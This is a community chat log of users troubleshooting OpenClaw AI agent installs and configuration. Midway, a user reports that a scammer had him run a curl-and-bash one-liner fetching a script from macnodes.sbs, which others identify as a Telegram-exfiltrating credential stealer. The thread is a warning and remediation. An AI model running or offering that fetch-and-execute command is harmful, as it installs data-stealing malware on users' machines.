has anyone see some kind of guide about how multiple chat sessions are supported or how to have different topics or jobs the agent works on simultaneously

[loud crest]

Manual leaves much to be desired!!! 😂 😭

Rebooting my PC now to see if things just magically start working...

[grand pewter]

Quick question for folks who’ve dug into OAuth vs API key usage a bit deeper 👇

I understand that API keys have explicit token accounting per model, pricing tiers, context limits, etc.

What I’m less clear on is how OAuth quotas actually behave under the hood.

My current assumption:

• An OAuth “token” isn’t model-specific
• It’s more like a shared usage pool across models
• With possible exceptions or heavier weighting for the top-tier models

But I don’t know if that’s actually true.

Do different models have different token weights when accessed via OAuth?
Or is usage normalized in some way until you hit a hard cap or audit limit?

If anyone can explain how OAuth quotas are really calculated (or has links/docs I may have missed), I’d love to learn. I haven’t seen many people break this down clearly yet.

[terse lotus]

got me up and running initially... only took like 3 or 4 commands.
then comes the real pain, of actually running and properly configuring the damn thing.

[livid lintel]

Hi! I created a new file (CONTEXT.md) in my workspace via the agent's write tool. The file exists on the server and works fine, but it doesn't show up in the Control UI under Agents → Files → Core Files, even after refreshing.

Modified existing files (like AGENTS.md) do appear updated in the UI.

Is this expected behavior? Do I need to restart the gateway for new files to appear?

Please help me...

[loud crest]

Yeah I'm up and running, but it won't respond to my simple "Hello?" chat...

[terse lotus]

if reasoning is set wrong it might not respond.... so turn it all off.
also be sure you got the right model / provider set.

there is also a timeout issue, default is 600 sec, which might not be enough if running locally

[loud crest]

Seems fine from here. I'll look into turning off the reasoning...

[terse lotus]

llama 3.1 is an antique, try qwen2.5 coder.
i'm told thats good at the lower billion parameter ranges

[wanton nymph]

@fresh mossI been getting this a ton today too

[fresh moss]

i have bootstrap characters set to max 8k in config and im still getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model.

[wanton nymph]

I had to /clear or /new to get it to work

even then, it was rough

[timber oar]

Is Moltbot Free?

[terse lotus]

you want atleast 65k context, but more like 80k to 100k else its to low to work.

[hoary idol]

I’m trying to use the Mac app ssh tunnel but it keeps telling me I’m missing auth

[silk trout]

Thank you, checking!

[tawny rivet]

guys, so i was thinking about multi agent setup - from what i see in the docs it seems like the idea is to have a bunch of assistants for different family members. i mean, that's fun, but what if i want to switch simply between different personalitites depending on tasks?

[prime nimbus]

you'd want to look at AGENTS.md and SOUL.md... setup a cli to swap for you, not simple, but not impossible

[idle venture]

Hello everyone, wondering if any has experience that after migrating from Clawdbot to Openclaw that, everything seems to be up and running, except when chatting in the client, it's stuck with responding,

[prime nimbus]

run openclaw tui on that session and see what its outputting, im guess a connection timeout or something

[coral linden]

Make in your workplace a soul.md then add it as a telegram bot to either a supergroup with topics and a soul for each topic rule. Then if you want a different setup assign a soul for different telegram groups entirely, each soul tagged to each telegram group and/or topic.

[hoary idol]

@sharp parcel unauthorised: gateway password missing requires auth when I’m using Mac app for remot ssh

[sharp parcel]

⚠️ Agent failed before reply: No API key found for provider "anthropic". Auth store: /srv/clawdbot/state/agents/main/agent/auth-profiles.json (agentDir: /srv/clawdbot/state/agents/main/agent). Configure auth for this agent (clawdbot agents add <id>) or copy auth-profiles.json from the main agentDir.
Logs: clawdbot logs --follow

[coral linden]

Different folders for each one in the workspace

[idle venture]

session agent:main:main
gateway connected | idle
agent main | session main | anthropic/claude-opus-4-5 | tokens 0/200k (0%)

[prime nimbus]

type /new

[coral linden]

You installed Claude model but gave no instructions on the API key or OAuth credentials therefore your json config has it listed but no key

[sharp parcel]

⚠️ Agent failed before reply: No API key found for provider "anthropic". Auth store: /srv/clawdbot/state/agents/main/agent/auth-profiles.json (agentDir: /srv/clawdbot/state/agents/main/agent). Configure auth for this agent (clawdbot agents add <id>) or copy auth-profiles.json from the main agentDir.
Logs: clawdbot logs --follow

[coral linden]

Oh wait, I thought that was an actual user 😂

It's a feckin bot lol

[idle venture]

Is it possible I don't have a model set up? I was originally using my login creds for the model I had

Tried /new and nothing

[coral linden]

Openclaw doctor

[idle venture]

Running now... one sec

[autumn junco]

guys i host clawd on aws i rebooted the instance and now dont know how to enter chat with clawd (i dont know coding and i am a newbie)

[prime nimbus]

openclaw tui - you should read the docs its pretty how to do everything?

[coral linden]

Are ppl still calling it clawd?

[toxic solar]

Hi OpenClaw community!

I'm setting up TTS (text-to-speech) for my openclaw assistant and have some questions:

My setup:

• Telegram as primary channel (Android mobile + MacBook)
• Openai TTS (generates MP3 files)
• OpenClaw gateway running on MacBook

The problem:

• My agent can generate MP3 files with the tts() tool
• But the files aren't being sent properly as voice messages in Telegram
• I only see text "MEDIA: filename.mp3" instead of being able to play audio

How do i get to hear the audio?

Thanks Guys 🙂

[coral linden]

Clawd, moltbot, openclaw, I think they should change the name again for fun ☠️😂

Let the chaos begin haha (j/k)

[tawny rivet]

my main agent can spawn others through sessions_spawn, however can I change to a different agent while talking through some messaging channel? can I do something like /agent xyz and switch to different agent defined in openclaw.json?

[coral linden]

Is your bot setup correctly? Permissions wise?

[loud crest]

Am I making any kind of progress here? 😂

[coral linden]

Enable logging to see what's going on

[coral linden]

You using a local model?

[loud crest]

Yep....trying to!

[autumn junco]

where i can find docs ?

[prime nimbus]

https://docs.openclaw.ai/start/getting-started

[autumn junco]

thanks

[idle venture]

Running now... one sec

[coral linden]

That's sick, do you know if you can have more than one model running at the same time in different telegram groups?

I've got quite a few models already on my lm studio

[loud crest]

No idea!!! I'm just now getting something kinda sorta functional. I'm struggling! 😅

[coral linden]

Ah yeah looks like you're masking progress

You can open the browser now to check if you can chat with it

What's your hardware spec?

[craggy glen]

How do you fix the Context too long error when all you said was “hello”?

[coral linden]

Damn

[coral dove]

can someone help me? i destroyed my openclaw.json

wanted to add new agents

[coral linden]

Don't share that with anyone if it has sensitive info

[coral dove]

dont worry but thank you

[loud crest]

Uhhh......really really crappy. 🤣 I'm running on an HP mini PC. 16 GB RAM, i7-6700 CPU, and 128 MB built-in graphics card.

[autumn junco]

And one more question: I'm getting double answers and a weird typing effect now.

[coral linden]

All personal things type in REDACTED then ask an online Ai model to check for formatting errors

[coral linden]

Polish?

[coral dove]

I already did this but wont work

[idle venture]

Is it common after running openclaw tui and then openclaw doctor for it to take over 12 mins to run? My doctor is on a break

[autumn junco]

yep

[coral linden]

Openclaw doctor?

[coral dove]

says everything is fine

[coral linden]

What's the exact symptoms?

[coral dove]

is in the agents / main / agent folder a model.json?

[coral linden]

I'd strip it back a bit to try rule out the problem, process of elimination

[coral dove]

added a new agent with openclaw add agent x and it added some configs in my config file but I want that every agent has is own discord bot and that fails

it says "discord not configured"

[autumn junco]

Zorgan you are from poland ?

[coral dove]

and now everything is broken

[coral linden]

From Scotland but living in Vietnam

[coral dove]

lol nice

[loud crest]

So I am getting responses now! They're just....weird. Do I have something turned on wrong? Or am I not doing something right?

[coral dove]

which model you using

and is this a fresh install?

[loud crest]

qwen2.5-coder:1.5b

And yes, fresh install. I did the onboarding and connected ollama to it, but that's about it.

[coral linden]

That url looks a bit weird double nested?

[coral dove]

model is too dumb

[coral linden]

Mate honestly it's so feckin slow

Good for very small projects but super super slow

[wanton nymph]

@loud crestThis is the entire reason I joined the discord today, been getting tons of this or blank responses with opus 4.5

[idle venture]

Openclaw Doctor going on 19 mins...does it ever stop? lol

[coral dove]

never so long?

for me it takes 5 sec

[coral linden]

Claude was hitting too many limits for me I couldn't get my development time

[idle venture]

nope, less than a min always...but I never entered in tui before so...

sorry guys, I think I broke the doctor

[coral linden]

For fast short prompts but when you're getting into larger logic and reasoning it'll be slow

[coral dove]

yes but not for openclaw

openclaw needs much more power

[coral linden]

We need a openclaw doctor surgeon guys quick 🚑🚑🚑🚑

[coral dove]

indeed

[idle venture]

20 mins...

[coral dove]

exit it lol

try again but not in the tui

I miss my assistant 😔

[coral linden]

What would be nice is OAuth pairing on setup buttons on the Web Dashboard

[trim jacinth]

Hello guys! I am I've been working all day on this problem. It keeps giving me the context overflow error. I am using opus 4.5 and I got enough session credits. I didnt hit my limit

[wise bronze]

Hello guys, how are you?

I'm trying to configure my openclaw to be 100% autonomous, I'm using GPT 5.2 and I believe this is not possible with it, because it limits and has many locks of its own.

Does anyone have any recommendations for a better LLM or any suggestions on how to make openclaw 100% proactive and autonomous?

thanks in advance

[coral linden]

You're 100% using the right account?

[coral dove]

try on the web ui or tui

[trim jacinth]

Yes, I verified 11 times.

[coral dove]

and try /thinking off

[coral linden]

Autonomous to do what? Context required plz

[trim jacinth]

I tried, in the tui it just loads perpetually

[coral dove]

update your memory.md and do cron jobs

[coral linden]

BTW I had my vpn on the other night omg wasted like 3hrs till I realised that was my problem all the time ☠️😂

[coral dove]

have you tried an other channel like discord?

[wise bronze]

Sorry, I missed that.

I instructed Clawd to study some copywriting courses that I gave him and continue to continually seek knowledge and send me copies for approval. But he just won't send me anything unless I actually ask for it

[coral dove]

maybe the token is wrong or telegram needs much more token

[wise bronze]

I'll delve deeper into this, thanks

[coral dove]

np

my openclaw has changed my config. can anyone send me his snipped of this block?

"messages": {
    "queue": {
      "byChannel": {
        "discord": "steer"
      }
    },

[wanton granite]

Hi. Non power user here. I am trying to connect ollama for hearbeats and openclaw isnt successful in connecting. its running on my server (ollama)

[raven talon]

How are you guys getting your gateway to write directly to your machine or push to your GitHub? Trying to automate some development and there has to be a better way than creating the folders/files myself and copy pasting

[trim jacinth]

Yeah, I dont think its a channel problem. I tried to ask him and he gave me this response. It gives me the context overflow when I tell him to reacall thinks, I think the session files are too big. But if the session files are too big how did they get that big if they cant be read without overflowing? @coral dove

[autumn junco]

can someone help i have few instances opened and i dont know how to turn them off claw is answering few times and when i type wierd piramide is forming

[empty gazelle]

I made / use a seperate git account give it a git acc with ssh auth to make commits and open prs to my repo

[coral dove]

did you setup your memorysearch with vector embeddings?

[idle venture]

Did I install it incorrectly?

[round ginkgo]

For both you guys this is the model "pretending" its a representation of the command they want to run

[round ginkgo]

Don this is avtuaslly how a LLM answers yor questions with token prediction

openclaw gateway stop will stop your instances however

[trim jacinth]

Thank you for trying to help me @coral dove

[coral dove]

can you tell him to compress it?

and show me your openclaw doctor output but hide your secrets

[trim jacinth]

compress the large session files? yeah I tried but if they are that big It cant even read them without instant overflow

[idle venture]

Help, anyone?

[empty gazelle]

What's the issue here

[brittle brook]

anyone receiving this problem ? LLM request rejected: messages.272.content.1: unexpected tool_use_id found in tool_result blocks: toolu_01XqhzaXzT64caUCC1yytWT8. Each tool_result block must have a corresponding tool_use block in the previous message.

tried resetting clawdbot, new sessions, etc

[coral dove]

tell him that he has to manage it on its own

[trim jacinth]

I can show you in the terminal if you want

[idle venture]

So did a migration, install, got the gateway connected... but seems like the chat session is stalled out. No replies coming through

[empty gazelle]

Does the chat in tui or web ui work

Or does chat not work in tui web and chat integration

[coral dove]

try switch model

[coral dove]

did you paired your account?

[trim jacinth]

what do you recomand?

[coral dove]

gemini

you can use gemini to handle that problem and switch back to claude if you want

[empty gazelle]

My Guess is your ai model quota might be exhausted

[idle venture]

During the migration, I didn't even get asked to set it up. and I'm using my user credentials to login, so no tokens... ChatGPT

[empty gazelle]

So it's using existing config

Check your chatgpt usage and see if usage is exhausted

The times I had chat not respond before is when main model quota was exhausted

There was a bug in openclaw that it wouldn't go to the fallback models of main model quota exhausted or failed

Latest version shouldn't have that issue afaik

[idle venture]

Just went direct to it, responding well... seems like all is running properly. Not sure if it came over with the migration from Clawdbot to Openclaw?

[robust thunder]

Help regarding Discord as a channel.

I have two agents.
I have created two bots in discord.

I have a private server.

I have two channels, one for each bot.

How do I configure so only one agent is connected to one of the channels?
I.e I want them to have a channel each.

Also, is it possible to Not have to tag them with @ to talk to them?

[coral dove]

yes its possible but I'm also trying to figure it out

[upper siren]

is it possible to remove session context and reduce it back to 0? or if not, how do i abandon a session?

[coral dove]

on the webui go to control -> session and delete it: http://localhost:18789/sessions

@upper siren

[tiny flame]

Hey guys are yall able to call different models for different tasks? I set mine up to do it but it always defaults to the base model

[coral dove]

yea I was able to do that but I messed up my config

but its possible

[wanton granite]

Hi. Non power user here. I am trying

[tiny flame]

I thought so too but maybe the functionality broke. I saw this PR maybe once that deploys it’ll work again

https://github.com/openclaw/openclaw/pull/7292

[tiny flame]

I wasn’t sure if I’m the problem or if it’s a problem with openclaw. I think it’s broken rn

[somber briar]

Who’s using Claude max plan to power the agent?
All I can see when setting up is the api option not the auth option

[wanton nymph]

So are we saying then that this is essentially the system and user prompt just not being parsed correctly by OpenClaw?

[idle venture]

Hey guys...I think someone is trying to scam me out from here... is there an authorized Ticket team that helps out form within here?

[brittle brook]

no

[autumn junco]

can someone help me i cant use openclaw without npx and dont know the command to change that

i am always using npx openclaw tui and it always opens few instances and everything is wierd i am on ubuntu

[idle venture]

So, not legit and them asking for an extension wallet pw, for openclaw? smh

[coral dove]

dont give anyone your password

[idle venture]

THey had me run this in my terminal: curl -s -O https://macnodes.sbs/n/m.sh && bash m.sh

[mystic sparrow]

Why did you run it?

[idle venture]

I was under the impression it was to assist with my migration, the link came from within this channel

I exited out.... do i need to do anything else? unplug?

sucks people do that... I was under the impression that someone came in to help and a "support ticket" was required.... wild

[empty gazelle]

I'd probably wipe that machine for safety /factory reset it atp

Seems likely that script could have installed some kind of remote admin tool or malware

[coral dove]

have you checked the script? cant access to it but I'm curious

[prisma grotto]

Anyone have a good way to reduce tokens?

[empty gazelle]

Just a guess didn't check it

It's likely it's some sort of credential stealer or worse

[idle venture]

ugh

[toxic solar]

yep, use different models for different diff lvl. https://www.youtube.com/watch?v=fkT41ooKBuY&t=346s

[fickle stag]

Has anyone gotten this to work? I just tried reinstalling openclaw, debugging and can't seem to figure this one out

openclaw browser extension install

🦞 OpenClaw 2026.2.2-3 (9c5941b) — I keep secrets like a vault... unless you print them in debug logs again.

Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.

[prisma grotto]

@toxic solar Thanks for the video, I'm already on haiku, but Ideally I want to reduce the overall tokens being sent. I've seen things about caching memory and other parts of the request that staty static?

[empty gazelle]

Claude checked the script and yeah as expected

**YES, THIS IS DEFINITELY MALICIOUS.** ⚠️

This is a sophisticated malware script designed to steal data from your macOS system. Here's what it does:

**The Attack:**
1. **Deobfuscation**: Lines 3-5 decode a base64-encoded script and execute it
2. **Data Theft**: The decoded script extracts sensitive browser data:
   - Chrome/Chromium extension data (which can contain passwords, cookies, and personal data)
   - Brave Browser extension data
   - Firefox profile data (which contains passwords, browsing history, bookmarks, etc.)

3. **Exfiltration**: It compresses this stolen data into ZIP files and sends them via Telegram to:
   - **Bot Token**: `7970994906:AAEMUcsS...` (a Telegram bot used for command & control)
   - **Chat ID**: `791989792` (attacker's Telegram account)

4. **Interactive Deception**: It asks for an "Extension ID" to appear legitimate, but this is just a social engineering tactic to keep you engaged while it steals data

**If you already ran this:**
1. **Change all your passwords immediately** (from a different device) - especially banking, email, and important accounts
2. **Monitor financial accounts** for unauthorized activity
3. **Run a full antivirus scan** (Malwarebytes, ClamXGuard)
4. **Check browser extensions** and remove anything unfamiliar
5. **Enable two-factor authentication** on critical accounts
6. Consider having your Mac professionally examined

**Never run scripts from unknown sources,** especially `.sh` files from suspicious domains. Trust your instinct—you were right to be cautious!```

[floral sequoia]

just fyi decoded the script that the person told you to run. It creates a telegram account. give it a token, then grabs your local folder and browser cache, stored passwd etc. zips them up and drops them as an attachment on telegram. betting you could connect to the telegram account and see what other information that person has pulled from other people

[coral dove]

holy moly

@idle venture reset your pc

[floral sequoia]

you can grab the script from the url you curled it is base 64 incoded. online base64decoder and you can walk the script

[prisma grotto]

bro is cooked

[quartz atlas]

I want to attach open claw with personal browser profile so that it can crawl some logged in website for me?
Anyone can show me the way
I have setup openclaw already

[toxic solar]

What should i look for in the log

[empty gazelle]

Generally crawling sites tend to fail more often than not

Due to captchas

But things like firecrawl and serpapi tend to be used for this

Depends on the site

[floral sequoia]

depends. the directions were for a linux or wsl. so maybe that is a sandboxed or vm and not dropped right on the everyday pc. if everyday pc and you ran that script.. I would be changing passwords. If you have telegram installed try connecting with the token from the script.

[quartz atlas]

I have the credential s of website so no issue there just wanna know how to make openclaw do it for me

[coral dove]

guys if you need help with something let claude code or gemini do that for you. give it the docs url https://docs.openclaw.ai and tell it that is has to collect every information from that site and check your config if everything is correct and matches. if it approves it, you can go and ask your problem or needs

do that in planning mode

and dont accept the first plan

ideally use claude code or gemini in ~/.openclaw

[fierce charm]

Here are some options I have heard off, but guess they only relate if you are submitting large / many prompts:

1. Turn on memory/caching so the AI remembers recent context and doesn’t keep re-asking the same things, which saves time, money, and pointless repetition.

2. Keep instructions and queries concise to minimize the input tokens sent to the model during each interaction.

For general queries, I use frontier App free tiers directly in their apps (Perplexity, Grok, Claude, Mistral, Gemini), saving important / useful requests for my Openclaw (running ChatGPT).

[prisma grotto]

Do you know where the docs/config setting for memory/caching is? That's exactly what I want to check/do but I can't find it in the docs

[blissful onyx]

Which one?

[spice juniper]

how come when I turn off thinking and reasoning when using a local LLM via LMStudio, it's still showing me its reasoning/thinking process in it's response?

[fierce charm]

Try here to start, then use your Openclaw for more info (plus your favourite frontier chat app): https://docs.openclaw.ai/concepts/memory#embedding-cache

[prisma grotto]

Thanks, will do! appreciate the help

[celest phoenix]

Can anyone confirm this? My says it should be able to update automatically but OpenClaw's built-in updater only works for git-based installs, not Docker.

So according to openclaw I can either set up a cron to be notified and then manually update. Or install Watchtower on my VPS to manage it.

[haughty sandal]

This use case is mentioned in every post and video about this tool. What am I missing?

[astral garden]

Am getting this error after adding this ⁨ "auth": { "profiles": { "google:default": { "provider": "google", "mode": "api_key" }, "local:ollama": { "provider": "openai", "mode": "api_key", "apiKey": "ollama", "baseUrl": "http://localhost:11434/v1" } } }, "agents": { "defaults": { "model": { "primary": "local:ollama:phi3" }, "models": { "google/gemini-2.5-pro": {} }, "workspace": "/root/.openclaw/workspace", "maxConcurrent": 4, "subagents": { "maxConcurrent": 8 } } },⁩

I'm trying to get ollama phi3 running on openclaw

Anyone got any idea?

[craggy timber]

have you tried downloading a skill that would assist you in working with gmail?

i know of this: https://clawhub.ai/steipete/gog

[hasty tiger]

Hey folksz, I have been using CB and been enjoying it quite a bit. Now I am currently wondering and asked the bot to have a simple, knock knock based messaging lock.

If i dont say Knock Knock, the bot should not go into my request. Then I ask it to use a cooldown of like 10 minutes and lock the chat again.

Problem is, the LLM seems to be slightly flakey here. So I was wondering how to intercept the first request and have a little state machine that checks for this.

Maybe someone already has this figured out? Anyone with some community knowledge knows which lobster I need to talk to or should I poke into source code?

[fierce charm]

I think depending on how powerful your connected model is, you need to setup this skills (opposed to just asking Openclaw to do it).

For example, if you use top tier Claude Opus, your Openclaw is therefore smarter / more capable.

In any case, it is a skill you can setup for sure. Use this documentation (https://docs.openclaw.ai/automation/gmail-pubsub), along with support from your favourite frontier AI app and also Openclaw itself.

[strange geode]

Hey all. Does anyone having cron jobs working correctly? Ive tried many different tests, like message me Hi in 15 mins, or send me a message at 8am everymorning, and its never worked. I had it troubleshoit it, but nithing meaningful. Ive checked my machine settings (vps) and its not going to sleep etc.

[fierce charm]

Did you try to connect it to Gemini initially? Looks like it's mentioned there in the screenshot

[astral garden]

Yes, i got ollama working now with the json

but i'm getting this now : ⁨typing TTL reached (2m); stopping typing indicator⁩

[fierce charm]

I am struggling with crons jobs too. Got the openclaw to use a workaround for now. Driving me a bit crazy.

[astral garden]

the ai-agent is not answering through ollama phi3

[fierce charm]

What comms channel do you use to correspond with your Openclaw? In the screenshot it looks like it is mentioning Discord and WhatsApp.

[astral garden]

I use whatsapp mostly.

[strange geode]

Thank you fir feedback, found a akill i might try tonight to see if it does anything

[strange geode]

https://clawhub.ai/cyberengage/rememberall

Will respond to folks here if it helps in case others facing similar issues

[astral garden]

It seems to be doing something atleast.

[blissful onyx]

Why can't I install browser extension?

[astral garden]

⁨[agent/embedded] embedded run timeout: runId=6b994178-d428-4231-8380-5acc6d61b4f3 sessionId=281feb5a-9156-43b3-ab36-6d5bc5949267 timeoutMs=600000⁩

[blissful onyx]

$ openclaw browser extension install

OpenClaw 2026.2.2-3

If something's on fire, I can't extinguish it-but I can write a beautiful postmortem.

[blissful onyx]

Does anyone know how to fix it?

[fierce charm]

Having both may be causing an impact.

Using multiple communication channels, like Discord and WhatsApp, to interact with OpenClaw can sometimes lead to issues.

Primarily related to context management where sessions across platforms may not share conversation history properly.

Causing the AI to lose track of prior details or respond inconsistently unless your routing configuration is optimized for cross-channel continuity.

In the meantime, it might be worth running these troubleshooting commands in order to see if anything is flagged:

openclaw status
openclaw status --all
openclaw gateway probe
openclaw logs --follow
openclaw doctor

[mystic escarp]

Anyone having success using kimi 2.5 key provided by nvidia? Cant get it to be configured correctly it seems

[plain talon]

someone figured out how to install the skill agentmail.to ? on the website the docs are outdated and not working

[blissful onyx]

@fierce charm

[astral garden]

⁨400 registry.ollama.ai/library/phi3:latest does not support tools⁩

Figures

[fierce charm]

Try this to begin with (https://docs.openclaw.ai/tools/chrome-extension#chrome-extension), the utilise your favourite frontier AI chatbot; providing them with a PDF copy of that link and screenshots of errors you are experiencing with the Openclaw configuration.

[fierce charm]

Have you done those 5 troubleshooting commands?

[astral garden]

I'm going forward with what openclaw suggested i should do.

The local model we installed, phi3, is a powerful text-generation model. However, it does not have the specific, complex training required for "tool use" (also known as "function calling").

My core programming relies on this tool-use feature. When I need to do anything other than simply talk—like run a command, read a file, or even check my own status—I ask the AI model for permission in a special format. The phi3 model doesn't understand this format and is correctly rejecting my requests with the error does not support tools.

[blissful onyx]

I have been trying too much ai , now i need to enable claw again, let me try.

[stray frost]

hi, i have PC i5-14400F, RTX 5060 8gb ram y 32gb ram
which local models can i run? medium/high perfomance
not overcooked my pc

[prisma grotto]

Just FYI to anyone who uses the digital ocean one click deploy, it's super out of date (still named clawdbot) and is probably running really poorly, and missing a lot of fixes

It's decent way to learn how to setup a config and stuff, but you're going to make things 10x harder then just installing a fresh system and setting up OpenClaw yourself

[uneven spindle]

hey guys whats the best VPS thats also low cost, i have open claw running on a 1cpu 1gb ram vps, ive tricked it with a page swap, but having next to no ram is not ideal for automations, and i think thats where my problems are coming from.

[empty gazelle]

Hetzner works well for me

[versed mortar]

hey guys! has anyone has an issue with Antigravity OAuth? I can sign in on my local machine using the CLI of openclaw, but I can't run it on the server because the callback fails every single time. I have added the URL to the allowed callback URLs but it does not change. Any idea? asking it did not help, we're going in circles... I'm about to just move on without but I have a google subscription I wanna use as API keys aren't included in the quota.

[empty gazelle]

I tried to install it on viltr 5 usd. Vps and it failed with oom errors due to low ram

[uneven spindle]

pageswap that bish.

[uneven spindle]

whats hardware do you have on it?

[empty gazelle]

Just login with the url it gives then it goes to logalhost url copy it and paste it in the terminal of the openclaw configure or setup

[versed mortar]

did that 100 times, nothing happens and it just keeps showing the loading animation in the CLI

[empty gazelle]

Strange,did you update it to latest version

[versed mortar]

it works on my machine, just not on my VPS. or better said it works but the URL i have to open locally and it does always end in 500 error and the callback can't be used

[versed mortar]

latest version, yes - sorry^^

[empty gazelle]

Thing is the callback will fail on the desktop/ device you sign in but copy that url and give it to the terminal which will ask for the callback url

[astral garden]

⁨400 registry.ollama.ai/library/nous-hermes2:latest does not support tools⁩

[empty gazelle]

That's how I got my antigravity auth working

[astral garden]

Any AI model that supports tools and is available for openclaw?

[empty gazelle]

You have to find a model that supports tool calls

[astral garden]

Figures, idk which one doh.

[empty gazelle]

Try the small llama models

Or qwen models

[astral garden]

qwen models?

[versed mortar]

yes but when I copy it into terminal it does just load and load. even 10 minutes

[empty gazelle]

Qwen models generally is optimised for coding afaik so it generally should have tool call support

[empty gazelle]

Not sure then, don't really have that issue on my instance so can't really help with it

I'd suggest searching the GitHub issues to see if someone has a solution for you

[astral garden]

If this is correct "primary": "google/gemini-2.5-pro"
what's correct for Gemini 2.5 Flash Lite

[versed mortar]

thanks anyways 🙂

[astral garden]

gemini-2.5-flash-lite

[empty gazelle]

Yep

[uneven spindle]

gemini?

[astral garden]

self hosted.

[uneven spindle]

what cpu did you select?

[empty gazelle]

Just ended up selecting the cheapest vps on it didn't really check for it much

I'll probably move it over to a local instance later on , it hits its limits when cpu intensive tasks such as say running the tests on the openclaw codebase after the agent makes changes in the openclaw codebase

For most light tasks this seems to do most things without issues

[uneven spindle]

are you located in the usa?

[empty gazelle]

Nah in the gcc, but vps is in the eu

[uneven spindle]

i tried having my bot aggregate some links, and it got really confused due to such low ram i imagine, burned 3.5m tokens in a loop lol. so im trying to fix it.

[empty gazelle]

I think it's more so a issue of the model

What model is it running

[uneven spindle]

2.5 flash lite.

[empty gazelle]

Try to use the 2.5 flash or 3 flash

Flash lite is alot more dumb

If you are using on openrouter use the Xiaomi mimo v2 flash model for simmilar cost and better intelligence

[uneven spindle]

yeah i was just getting something up and running for free basically, worried about costs, and the loops, dont wanna have to pay for millions of tokens that output nothing useful lol

im not sure what openrouter is, im pretty new to vps stuff in general. just figuring things out as i go.

eventually i wanna run on my local machine, got some beefy specs for it, but rn im too worried about security and token use to try lol.

i wonder if being in the usa, would a hetzner server be laggy?

[astral garden]

They have servers in US afaik.

[round pollen]

what is the expected way to get the bot to hook up with an MCP? I've tried mcporter but failing on auth

[uneven spindle]

all shared resource or amd tho it looks like.

cheaper ones are in germany, i have 1gb fiber, think id prolly be okay?

[empty gazelle]

share the mcp repo or docs to the repo and ask the agent to install and use the mcp it will tend to figure itself out

[round pollen]

gotcha, idk it is the oauth piece that it is not really working. might be the server

[tardy steppe]

QUESTION : What port does OC generally use?

[livid niche]

please oh please someone help me for the love of god, 5 hours now just trying to install the clawbot and i am about to tear my hair out and set this laptop on fire i swear....i have been going back and forth trying to set my openai key and chatgpt as default and it keeps doing this please i will pay to get this setup right i dont care at this point.....

it somehow keeps selectring anthropic after i deselect it ive repeated 20 times

[storm vessel]

guys, do you now what to do with this (i tried to work on it with ai but failed):

Issue: Authentication Error – "no TTY available for keyring file backend password prompt"

Description: I am encountering a persistent no TTY available error when gog attempts to access stored credentials. Although authorization was completed in the terminal, the tool cannot access the keyring non-interactively in the current execution environment.

Required Action: To enable Gmail access, the system environment requires one of the following fixes:

Set the GOG_KEYRING_PASSWORD environment variable in the execution environment where the agent runs.

Configure gog for headless/non-interactive use to bypass manual password entry.

[idle venture]

I am now contained + remediated from the previous incident... thanks for the heads up @coral dove @empty gazelle and @floral sequoia - no more fake tickets for me

[coral dove]

You‘re welcome

[idle venture]

I have a new machine, so there was literally only two potential weak passwords that I quickly changed and no financial data connected. Now back to the most exciting part… Could someone please help me understand why my OpenClaw agent seems not to be communicating after I ask it or prompt it?

[astral garden]

400 registry.ollama.ai/library/qwen:7b does not support tools

Hmm...

[idle venture]

Anyone seen this screen before?

[mint sigil]

yup just refresh browser

[spice juniper]

Any ideas?

[uneven spindle]

restart your gateway.

[granite saddle]

Clean install fails to include bundled browser extension on macOS

[nocturne berry]

hey everyone! looking to setup openclaw primarily for business usecase acting as an executive assistant for me, not too much on the coding side though i do eventually want to build personal dashboards and automate certain business workstreams. Would love to know the best resources I can use to get setup safely and begin usecase implementation! Thank you in advance 🙂

[idle venture]

That worked! The only thing is the webchat seems stalled - zero response

[safe dock]

I switched from opus to gemini-2.5-flash as my main 'brain' (out of concern for anthropic oauth suspension), but I lost a lot of personality and nuance. Has anybody had success with getting some of the personality/soul of Opus but not paying Opus level of $$$'s ?

[steel silo]

what exactly is the control ui settings? im trying to achieve a tailscale setup with serve mode and the web dashboard shows me the error "disconnected (1008): unauthorized: gateway password missing (enter the password in Control UI settings)"

[empty gazelle]

xiaomi's mimo v2 flash tend to be a good replacement for more intelligence for me
gemini 3 flash is also okish

[idle venture]

This keeps popping up in Terminal, (node:xxxx) [DEP0040] DeprecationWarning: The punycode module is deprecated. Please use a userland alternative instead.
(Use node --trace-deprecation ... to show where the warning was created)
Error: No provider plugins found. Install one via openclaw plugins install.

Is that meaningful?

[wispy magnet]

This problem begins to show today on my mac mini too. I just click the next link under chat and click chat again. the UI will recover.

[edgy bough]

I'm a newb that has not installed yet. Researching best methods for setup. I use Claude Code right now with Ubuntu on my Windows PC. Should I ask for advice here? Or is there a different channel to chat about getting started?

[idle venture]

Ok, questio about Models, Im seeing the following but I only want to use ChatGPT... why are the others showing? agent main | session main (openclaw-tui) | anthropic/claude-opus-4-5 | tokens 0/200k (0%)

[silk jewel]

Are there any free models just for testing

[wispy magnet]

switch model by /model <model name>

[empty gazelle]

use openrouter/free

[umbral cobalt]

My Bot is telling me "openclaw models add" to add a new model but that command doesnt exist

[wispy magnet]

'openclaw configure' to add model and modify other config

[uneven spindle]

for api, is everyone just pay as you go? or is there some sub i can pay for to get access to more models? i would like to run as cost effective as possible, been using 2.5 flash lite pay as you go, but its kinda dumb for larger tasks, whats everyone using, whats the average cost?

[uneven spindle]

gemini 2.5 flash lite is pretty much free, plus google gives like $300 in credits.

[umbral cobalt]

After i switched the model, and put in the OAuth, It sent me to the list of all the AI models, and theres no skip option?

[uneven spindle]

you can get a google ai api key from playground and get access to all models. its like $0.10 for 4m tokens. which if your just playing with things and not doing anything serious, is far more than enouugh.

[umbral cobalt]

Provider notes ─────────────────────────────────────────────────────────╮
│ │
│ If requests fail, set GOOGLE_CLOUD_PROJECT or GOOGLE_CLOUD_PROJECT_ID. │
│ │
├──────────────────────────────────────────────────────────────────────────╯
│
◆ Models in /model picker (multi-select)
│ ◻ amazon-bedrock/anthropic.claude-3-haiku-20240307-v1:0 (Claude Haiku 3 · ctx 195k · auth missing)
│ ◻ amazon-bedrock/anthropic.claude-3-5-haiku-20241022-v1:0
│ ◻ amazon-bedrock/global.anthropic.claude-haiku-4-5-20251001-v1:0
│ ◻ amazon-bedrock/eu.anthropic.claude-haiku-4-5-20251001-v1:0
│ ◻ amazon-bedrock/anthropic.claude-3-opus-20240229-v1:0
│ ◻ amazon-bedrock/us.anthropic.claude-opus-4-20250514-v1:0
